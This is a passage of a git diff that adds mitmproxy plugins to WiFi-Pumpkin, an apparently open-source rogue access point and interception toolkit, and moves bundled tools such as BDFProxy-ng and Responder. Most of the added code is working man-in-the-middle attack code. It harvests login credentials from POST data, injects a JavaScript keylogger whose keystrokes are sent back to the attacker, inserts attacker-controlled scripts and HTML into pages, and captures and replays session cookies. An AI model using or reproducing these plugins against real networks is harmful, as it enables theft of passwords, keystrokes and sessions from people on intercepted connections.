complete, forwarding to user...') + return + self.send_output.emit('[downloadspoof]:: {}, Error Path file not found\n'.format(self.payloads[content])) + except Exception as e: + pass \ No newline at end of file diff --git a/plugins/extension/dump_post_data.py b/plugins/extension/dump_post_data.py new file mode 100644 index 0000000..4ea5d07 --- /dev/null +++ b/plugins/extension/dump_post_data.py @@ -0,0 +1,85 @@ +from plugins.extension.plugin import PluginTemplate +from mitmproxy.models import decoded +from PyQt4.QtCore import QObject,pyqtSignal +import re + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + plugins for Pumpkin-Proxy. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class dump_post_data(PluginTemplate): + meta = { + 'Name' : 'dump_post_data', + 'Version' : '1.0', + 'Description' : 'Getting HTTP post data capture login post and logout pre event hook and its its working in web', + 'Author' : 'Marcos Nesster' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.ConfigParser = False + + def get_password_POST(self, content): + user = None + passwd = None + + # Taken mainly from Pcredz by Laurent Gaffie + userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name', + 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', + 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', + 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', + 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in'] + passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', + 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' + 'passwort', 'passwrd', 'wppassword', 'upasswd'] + + for login in userfields: + login_re = re.search('(%s=[^&]+)' % login, content, re.IGNORECASE) + if login_re: + user = login_re.group() + for passfield in passfields: + pass_re = re.search('(%s=[^&]+)' % passfield, content, re.IGNORECASE) + if pass_re: + passwd = pass_re.group() + + if user and passwd: + return (user, passwd) + + def request(self, flow): + self.send_output.emit("FOR: " + flow.request.url +" "+ flow.request.method + " " + flow.request.path + " " + flow.request.http_version) + with decoded(flow.request): + user_passwd = self.get_password_POST(flow.request.content) + if user_passwd != None: + try: + http_user = user_passwd[0].decode('utf8') + http_pass = user_passwd[1].decode('utf8') + # Set a limit on how long they can be prevent false+ + if len(http_user) > 75 or len(http_pass) > 75: + return + self.send_output.emit("\n[{}][HTTP REQUEST HEADERS]\n".format(self.Name)) + for name, valur in flow.request.headers.iteritems(): + self.send_output.emit('{}: {}'.format(name,valur)) + self.send_output.emit( 'HTTP username: %s' % http_user) + self.send_output.emit( 'HTTP password: %s\n' % http_pass) + except UnicodeDecodeError: + pass + + def response(self, flow): + pass \ No newline at end of file diff --git a/plugins/extension/html_inject.py b/plugins/extension/html_inject.py new file mode 100644 index 0000000..69f0daf --- /dev/null +++ b/plugins/extension/html_inject.py @@ -0,0 +1,63 @@ +from os import path +from bs4 import BeautifulSoup +from mitmproxy.models import decoded +from plugins.extension.plugin import PluginTemplate + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + plugins for Pumpkin-Proxy. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class html_inject(PluginTemplate): + meta = { + 'Name' : 'html_inject', + 'Version' : '1.0', + 'Description' : 'inject arbitrary HTML code into a vulnerable web page.', + 'Author' : 'Marcos Nesster' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.ConfigParser = True + self.filehtml = self.config.get_setting('set_html_inject','content_path') + self.isfilePath = False + if path.isfile(self.filehtml): + self.isfilePath = True + self.content = open(self.filehtml,'r').read() + def request(self, flow): + pass + + def response(self,flow): + if self.isfilePath: + with decoded(flow.response): # Remove content encoding (gzip, ...) + html = BeautifulSoup(flow.response.content.decode('utf-8', 'ignore')) + """ + # To Allow CORS + if "Content-Security-Policy" in flow.response.headers: + del flow.response.headers["Content-Security-Policy"] + """ + if html.body: + temp_soup = BeautifulSoup(self.content) + div_tag = temp_soup.html.body.contents[0] + + html.body.insert(len(html.body.contents), div_tag) + flow.response.content = str(html) + self.send_output.emit("[{}] [Request]: {} | injected ".format(self.Name,flow.request.pretty_host)) + return + self.send_output.emit("[{}] Error Path file not found ".format(self.Name)) \ No newline at end of file diff --git a/plugins/extension/inverted_internet.py b/plugins/extension/inverted_internet.py new file mode 100644 index 0000000..847ad12 --- /dev/null +++ b/plugins/extension/inverted_internet.py @@ -0,0 +1,26 @@ +from mitmproxy.models import decoded +from plugins.extension.plugin import PluginTemplate + +class inverted_internet(PluginTemplate): + meta = { + 'Name' : 'inverted_internet', + 'Version' : '1.0', + 'Description' : 'add style html for inverte body content.', + 'Author' : 'David @davoclavo' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.ConfigParser = False + + def request(self, flow): + pass + + def response(self, flow): + with decoded(flow.response): + if flow.response.content: + c = flow.response.content.replace('', '') + if c > 0: + self.send_output.emit('[{}] {} CSS injected...'.format(self.Name,flow.request.pretty_host)) \ No newline at end of file diff --git a/plugins/extension/js_inject.py b/plugins/extension/js_inject.py new file mode 100644 index 0000000..ff46fde --- /dev/null +++ b/plugins/extension/js_inject.py @@ -0,0 +1,56 @@ +from bs4 import BeautifulSoup +from mitmproxy.models import decoded +from plugins.extension.plugin import PluginTemplate + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + plugins for Pumpkin-Proxy. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class js_inject(PluginTemplate): + meta = { + 'Name' : 'js_inject', + 'Version' : '1.0', + 'Description' : 'url injection insert and use our own JavaScript code in a page.', + 'Author' : 'Marcos Nesster' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.ConfigParser = True + self.url = self.config.get_setting('set_js_inject','url') + + def request(self, flow): + pass + + def response(self,flow): + with decoded(flow.response): # Remove content encoding (gzip, ...) + html = BeautifulSoup(flow.response.content) + """ + # To Allow CORS + if "Content-Security-Policy" in flow.response.headers: + del flow.response.headers["Content-Security-Policy"] + """ + if html.body: + script = html.new_tag( + 'script', + src=self.url) + html.body.insert(0, script) + flow.response.content = str(html) + self.send_output.emit("[{}]******* script Filter Injected *******".format(self.Name)) \ No newline at end of file diff --git a/plugins/extension/keylogger.py b/plugins/extension/keylogger.py new file mode 100644 index 0000000..7b3a5bf --- /dev/null +++ b/plugins/extension/keylogger.py @@ -0,0 +1,69 @@ +from os import path +from mitmproxy.models import decoded +from plugins.extension.plugin import PluginTemplate + +# Copyright (C) 2015-2016 xtr4nge [_AT_] gmail.com, Marcello Salvati (@byt3bl33d3r) +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +class jskeylogger(PluginTemplate): + meta = { + 'Name' : 'jskeylogger', + 'Version' : '1.0', + 'Description' : 'it stores all keystrokes along with a timestamps in a n array and send it to the attacker', + 'Author' : '@byt3bl33d3r @xtr4nge' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.ConfigParser = False + self.filejs = 'core/servers/proxy/scripts/msfkeylogger.js' + if path.isfile(self.filejs): + self.isfilePath = True + self.content = open(self.filejs,'r').read() + + def request(self, flow): + try: + if flow.request.method == 'POST' and ('keylog' in flow.request.path): + + raw_keys = flow.request.content.split("&&")[0] + input_field = flow.request.content.split("&&")[1] + + keys = raw_keys.split(",") + if keys: + del keys[0]; del(keys[len(keys)-1]) + + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice[:-1] + elif n == '13': + nice = '' + else: + try: + nice += n.decode('hex') + except: + self.send_output.emit("["+self.Name+"] Error decoding char: {}".format(n)) + self.send_output.emit("["+self.Name+"] Host: {} | Field: {} | Keys: {}".format(flow.request.host, input_field, nice)) + except Exception: + pass + def response(self, flow): + if self.isfilePath: + with decoded(flow.response): + flow.response.content = flow.response.content.replace("", "") + self.send_output.emit('[{}] javascript keylogger injected..'.format(self.name)) + \ No newline at end of file diff --git a/plugins/extension/plugin.py b/plugins/extension/plugin.py new file mode 100644 index 0000000..4cc83a1 --- /dev/null +++ b/plugins/extension/plugin.py @@ -0,0 +1,32 @@ +import logging +from PyQt4.QtCore import QObject,pyqtSignal +from core.utility.collection import SettingsINI + +class PluginTemplate(QObject): + name = 'plugin master' + version = '1.0' + config = SettingsINI('core/config/app/proxy.ini') + loggers = {} + send_output = pyqtSignal(object) + + def init_logger(self,session): + self.loggers['Pumpkin-Proxy'] = self.setup_logger('Pumpkin-Proxy', + 'logs/AccessPoint/pumpkin-proxy.log',session) + self.log = self.loggers['Pumpkin-Proxy'] + + def setup_logger(self,logger_name, log_file,key=str(), level=logging.INFO): + if self.loggers.get(logger_name): + return self.loggers.get(logger_name) + else: + logger = logging.getLogger(logger_name) + formatter = logging.Formatter('SessionID[{}] %(asctime)s : %(message)s'.format(key)) + fileHandler = logging.FileHandler(log_file, mode='a') + fileHandler.setFormatter(formatter) + logger.setLevel(logging.INFO) + logger.addHandler(fileHandler) + return logger + + def request(self, flow): + raise NotImplementedError + def response(self, flow): + raise NotImplementedError \ No newline at end of file diff --git a/plugins/extension/replaceImages.py b/plugins/extension/replaceImages.py new file mode 100644 index 0000000..df569c0 --- /dev/null +++ b/plugins/extension/replaceImages.py @@ -0,0 +1,52 @@ +import cStringIO +from os import path +from mitmproxy.models import decoded +from plugins.extension.plugin import PluginTemplate + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + plugins for Pumpkin-Proxy. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class replaceImages(PluginTemplate): + meta = { + 'Name' : 'replaceImages', + 'Version' : '1.0', + 'Description' : 'this module proxy replace all images with the picture .', + 'Author' : 'Marcos Nesster' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.ConfigParser = True + self.imagePath = self.config.get_setting('set_replaceImages','path') + + def request(self, flow): + pass + + def response(self,flow): + if str(flow.response.headers['Content-Type']).startswith('image'): + if path.isfile(self.imagePath): + with decoded(flow.response): + try: + img = cStringIO.StringIO(open(self.imagePath, 'rb').read()) + flow.response.content = img.getvalue() + self.send_output.emit('[{}] URL:{} image replaced...'.format(self.Name,flow.request.url)) + except: + pass \ No newline at end of file diff --git a/plugins/extension/shakepage.py b/plugins/extension/shakepage.py new file mode 100644 index 0000000..fb05705 --- /dev/null +++ b/plugins/extension/shakepage.py @@ -0,0 +1,52 @@ +from mitmproxy.models import decoded +from plugins.extension.plugin import PluginTemplate + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + plugins for Pumpkin-Proxy. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class shakepage(PluginTemplate): + meta = { + 'Name' : 'shakepage', + 'Version' : '1.0', + 'Description' : 'this plugin proxy added javascript to shake page', + 'Author' : 'Marcos Nesster' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.ConfigParser = False + + def request(self, flow): + pass + + def response(self, flow): + with decoded(flow.response): + if flow.response.content: + c = flow.response.content.replace('', '''''') + if c > 0: + self.send_output.emit('[{}] {} javascript injected...'.format(self.Name,flow.request.pretty_host)) \ No newline at end of file diff --git a/plugins/extension/stickycookie.py b/plugins/extension/stickycookie.py new file mode 100644 index 0000000..413bb11 --- /dev/null +++ b/plugins/extension/stickycookie.py @@ -0,0 +1,51 @@ +from mitmproxy.models import decoded +from plugins.extension.plugin import PluginTemplate + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + plugins for Pumpkin-Proxy. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class stickycookie(PluginTemplate): + meta = { + 'Name' : 'stickycookie', + 'Version' : '1.0', + 'Description' : 'Traffic is monitored for Cookie and Set-Cookie headers', + 'Author' : 'from mitmproxy scripts' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.stickyhosts = {} + self.ConfigParser = False + def request(self, flow): + try: + hid = (flow.request.host, flow.request.port) + if "cookie" in flow.request.headers: + self.stickyhosts[hid] = flow.request.headers.get_all("cookie") + elif hid in self.stickyhosts: + flow.request.headers.set_all("cookie", self.stickyhosts[hid]) + self.send_output.emit("Host: {} Captured cookie: {} ".format(hid, self.stickyhosts[hid])) + except: pass + + def response(self, flow): + hid = (flow.request.host, flow.request.port) + if "set-cookie" in flow.response.headers: + self.stickyhosts[hid] = flow.response.headers.get_all("set-cookie") + \ No newline at end of file diff --git a/plugins/BDFProxy-ng/bdf/onionduke/__init__.py b/plugins/extension/tmp/__int__.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/onionduke/__init__.py rename to plugins/extension/tmp/__int__.py diff --git a/plugins/BDFProxy-ng/bdf/winapi/__init__.py b/plugins/extension/tmp/doc/__init__.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/winapi/__init__.py rename to plugins/extension/tmp/doc/__init__.py diff --git a/plugins/Responder/poisoners/__init__.py b/plugins/extension/tmp/exe/__init__.py similarity index 100% rename from plugins/Responder/poisoners/__init__.py rename to plugins/extension/tmp/exe/__init__.py diff --git a/plugins/Responder/servers/__init__.py b/plugins/extension/tmp/pdf/__init__.py similarity index 100% rename from plugins/Responder/servers/__init__.py rename to plugins/extension/tmp/pdf/__init__.py diff --git a/plugins/Responder/tools/MultiRelay/__init__.py b/plugins/extension/tmp/xls/__init__.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/__init__.py rename to plugins/extension/tmp/xls/__init__.py diff --git a/plugins/extension/upsidedownternet.py b/plugins/extension/upsidedownternet.py new file mode 100644 index 0000000..c801ee6 --- /dev/null +++ b/plugins/extension/upsidedownternet.py @@ -0,0 +1,52 @@ +import io +from PIL import Image +from plugins.extension.plugin import PluginTemplate + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + plugins for Pumpkin-Proxy. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + + +class upsidedownternet(PluginTemplate): + meta = { + 'Name' : 'upsidedownternet', + 'Version' : '1.0', + 'Description' : 'flip image from website request mitmproxy ', + 'Author' : 'from mitmproxy scripts' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + self.ConfigParser = False + def request(self, flow): + pass + + def response(self, flow): + if flow.response.headers.get("content-type", "").startswith("image"): + try: + s = io.StringIO(flow.response.content) + img = Image.open(s).rotate(180) + s2 = io.StringIO() + img.save(s2, "png") + flow.response.content = s2.getvalue() + flow.response.headers["content-type"] = "image/png" + self.send_output.emit('[{}][*] flip image from website request'.format(self.Name)) + except: # Unknown image types etc. + pass \ No newline at end of file diff --git a/plugins/BDFProxy-ng/LICENSE b/plugins/external/BDFProxy-ng/LICENSE similarity index 100% rename from plugins/BDFProxy-ng/LICENSE rename to plugins/external/BDFProxy-ng/LICENSE diff --git a/plugins/BDFProxy-ng/README.md b/plugins/external/BDFProxy-ng/README.md similarity index 100% rename from plugins/BDFProxy-ng/README.md rename to plugins/external/BDFProxy-ng/README.md diff --git a/plugins/Responder/tools/MultiRelay/creddump/framework/__init__.py b/plugins/external/BDFProxy-ng/__init__.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/framework/__init__.py rename to plugins/external/BDFProxy-ng/__init__.py diff --git a/plugins/BDFProxy-ng/bdf/.gitignore b/plugins/external/BDFProxy-ng/bdf/.gitignore similarity index 100% rename from plugins/BDFProxy-ng/bdf/.gitignore rename to plugins/external/BDFProxy-ng/bdf/.gitignore diff --git a/plugins/BDFProxy-ng/bdf/COPYING b/plugins/external/BDFProxy-ng/bdf/COPYING similarity index 100% rename from plugins/BDFProxy-ng/bdf/COPYING rename to plugins/external/BDFProxy-ng/bdf/COPYING diff --git a/plugins/BDFProxy-ng/bdf/README.md b/plugins/external/BDFProxy-ng/bdf/README.md similarity index 100% rename from plugins/BDFProxy-ng/bdf/README.md rename to plugins/external/BDFProxy-ng/bdf/README.md diff --git a/plugins/Responder/tools/MultiRelay/creddump/framework/win32/__init__.py b/plugins/external/BDFProxy-ng/bdf/__init__.py similarity index 100% rename from plugins/Responder/tools/MultiRelay/creddump/framework/win32/__init__.py rename to plugins/external/BDFProxy-ng/bdf/__init__.py diff --git a/plugins/Responder/tools/SMBFinger/__init__.py b/plugins/external/BDFProxy-ng/bdf/aPLib/__init__.py similarity index 100% rename from plugins/Responder/tools/SMBFinger/__init__.py rename to plugins/external/BDFProxy-ng/bdf/aPLib/__init__.py diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/deppack.nas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/16bit/deppack.nas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/deppack.nas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/16bit/deppack.nas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/depptiny.nas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/16bit/depptiny.nas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/depptiny.nas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/16bit/depptiny.nas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/history.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/16bit/history.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/history.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/16bit/history.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/makeit.bat b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/16bit/makeit.bat similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/makeit.bat rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/16bit/makeit.bat diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apdstsrc.s b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apdstsrc.s similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apdstsrc.s rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apdstsrc.s diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apsrcdst.s b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apsrcdst.s similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apsrcdst.s rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/AppleII/apsrcdst.s diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/AppleII/readme.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/AppleII/readme.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/AppleII/readme.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/AppleII/readme.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBASIC/aplib.bas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBASIC/aplib.bas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBASIC/aplib.bas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBASIC/aplib.bas diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBASIC/aplib.inc b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBASIC/aplib.inc similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBASIC/aplib.inc rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBASIC/aplib.inc diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/example.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/example.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/example.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/example.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_filetime.srs b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_filetime.srs similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_filetime.srs rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_filetime.srs diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_netresource.srs b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_netresource.srs similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_netresource.srs rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_netresource.srs diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_ofstruct.srs b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_ofstruct.srs similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_ofstruct.srs rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_ofstruct.srs diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_overlapped.srs b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_overlapped.srs similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_overlapped.srs rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_overlapped.srs diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_security_attibutes.srs b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_security_attibutes.srs similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_security_attibutes.srs rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/str_security_attibutes.srs diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_compression.sru b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_compression.sru similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_compression.sru rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_compression.sru diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_winapi.sru b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_winapi.sru similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_winapi.sru rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/PowerBuilder/uo_external_function_winapi.sru diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/VB6/maPLib.bas b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/VB6/maPLib.bas similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/VB6/maPLib.bas rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/VB6/maPLib.bas diff --git a/plugins/sergio_proxy/__init__.py b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/__init__.py similarity index 100% rename from plugins/sergio_proxy/__init__.py rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/__init__.py diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/apacdemo.ali b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/apacdemo.ali similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/apacdemo.ali rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/apacdemo.ali diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/aplib.ali b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/aplib.ali similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/aplib.ali rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Dos/aplib.ali diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/apacdemo.ali b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/apacdemo.ali similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/apacdemo.ali rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/apacdemo.ali diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/aplib.ali b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/aplib.ali similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/aplib.ali rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/ACU_Win/aplib.ali diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aPLibAda.txt b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/aPLibAda.txt similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aPLibAda.txt rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/aPLibAda.txt diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/apacdemo.adb b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/apacdemo.adb similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/apacdemo.adb rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/apacdemo.adb diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.adb b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.adb similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.adb rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.adb diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.ads b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.ads similarity index 100% rename from plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.ads rename to plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/aplib.ads diff --git a/plugins/BDFProxy-ng/bdf/aPLib/contrib/ada/gnat.ago b/plugins/external/BDFProxy-ng/bdf/aPLib/contrib/ada/gnat.ago similarity index 100% rename from 